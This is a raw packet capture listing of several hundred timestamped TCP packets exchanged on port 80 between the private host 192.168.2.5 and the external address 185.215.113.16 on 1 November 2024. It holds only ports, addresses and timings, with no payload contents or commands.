Nov 1, 2024 05:53:15.766308069 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766319036 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766330004 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766330957 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.766340971 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766347885 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.766352892 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766365051 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766375065 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766377926 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.766386986 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766390085 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.766396046 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766406059 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766415119 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.766417027 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766428947 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766442060 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766448975 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.766462088 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.766475916 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.766773939 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766820908 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766822100 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.766833067 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766843081 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766854048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.766868114 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.766892910 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.802822113 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.802834034 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.802844048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.802855968 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.802875996 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.802895069 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.802901030 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.802912951 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.802932024 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.802958012 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803030014 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803040981 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803050995 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803064108 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803072929 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803098917 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803158045 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803168058 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803199053 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803208113 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803217888 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803226948 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803239107 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803251028 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803261995 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803311110 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803355932 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803359985 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803371906 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803401947 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803437948 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803448915 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803457022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803481102 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803493023 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803555012 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803565979 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803575993 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803587914 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803597927 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803600073 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803622961 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803633928 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803714037 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803726912 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803736925 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803757906 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803781033 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803796053 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803807974 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803818941 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803833961 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803842068 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803858995 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803955078 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803965092 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803973913 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803986073 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.803997040 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.803997993 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804009914 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804012060 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804020882 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804020882 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804040909 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804064035 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804136992 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804156065 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804183960 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804202080 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804213047 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804223061 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804236889 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804261923 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804327011 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804338932 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804349899 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804362059 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804372072 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804373026 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804394007 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804429054 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804533005 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804543018 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804553032 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804565907 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804575920 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804577112 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804589033 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804589033 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804600000 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804609060 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804611921 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804634094 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804647923 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804738998 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804750919 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804760933 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804771900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804775953 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804799080 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804914951 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804927111 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804938078 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804949045 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804959059 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804960012 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.804972887 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.804999113 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805182934 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805193901 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805210114 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805223942 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805224895 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805236101 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805238962 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805247068 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805258989 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805263042 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805273056 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805283070 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805304050 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805355072 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805366039 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805376053 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805386066 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805398941 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805416107 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805424929 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805437088 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805445910 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805461884 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805468082 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805478096 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805489063 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805490971 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805514097 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805689096 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805705070 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805728912 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805747986 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805766106 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805778027 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805788040 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805799961 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805810928 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805810928 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805819988 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805823088 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805833101 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805838108 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805845022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.805864096 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.805880070 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806046009 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806056023 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806071043 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806082010 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806091070 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806092024 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806102991 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806106091 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806113958 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806114912 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806127071 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806133986 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806138039 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806149960 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806159973 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806174040 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806196928 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806365013 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806376934 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806405067 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806442976 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806454897 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806464911 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806477070 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806488037 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806489944 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806498051 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806499004 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806509972 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806520939 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806524992 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806530952 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806552887 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806561947 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806724072 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806735039 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806765079 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806875944 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806888103 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806898117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806910038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806919098 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806921005 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806927919 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806934118 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806943893 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806955099 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806956053 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806966066 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806977034 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806977034 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.806986094 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.806993961 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.807002068 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.807005882 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.807013988 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.807034969 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.807051897 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.807204962 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.807245970 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.807277918 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.807288885 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.807322025 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.807322979 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.807356119 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.847366095 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.847408056 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.847419024 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.847421885 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.847450972 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.849320889 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.849339962 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.849349022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.849370003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.849391937 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.881437063 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881473064 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881484985 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881536961 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.881618977 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881630898 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881643057 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881654978 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881748915 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881803036 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.881831884 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.881908894 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881920099 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881937027 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881947994 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881959915 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881970882 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881975889 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.881983042 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.881994009 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882009029 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.882009983 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882025003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.882044077 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.882405043 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882416964 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882426977 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882436991 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882447958 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882457018 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.882460117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882471085 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882478952 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.882483006 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882493973 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882494926 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.882525921 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.882932901 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882945061 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882955074 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882966042 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882977009 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882982016 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.882988930 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.882998943 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883004904 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883013964 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883016109 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883028984 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883040905 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883043051 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883052111 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883053064 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883080959 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883615017 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883626938 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883636951 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883649111 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883658886 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883660078 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883671045 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883676052 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883682013 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883693933 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883699894 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883706093 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883714914 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883724928 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883727074 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883737087 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883744955 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883749008 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883759975 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883763075 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883774042 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883781910 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883785963 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.883805037 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.883819103 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.884120941 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884131908 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.884141922 CET	80	49987	185.215.113.16	192.168.2.5
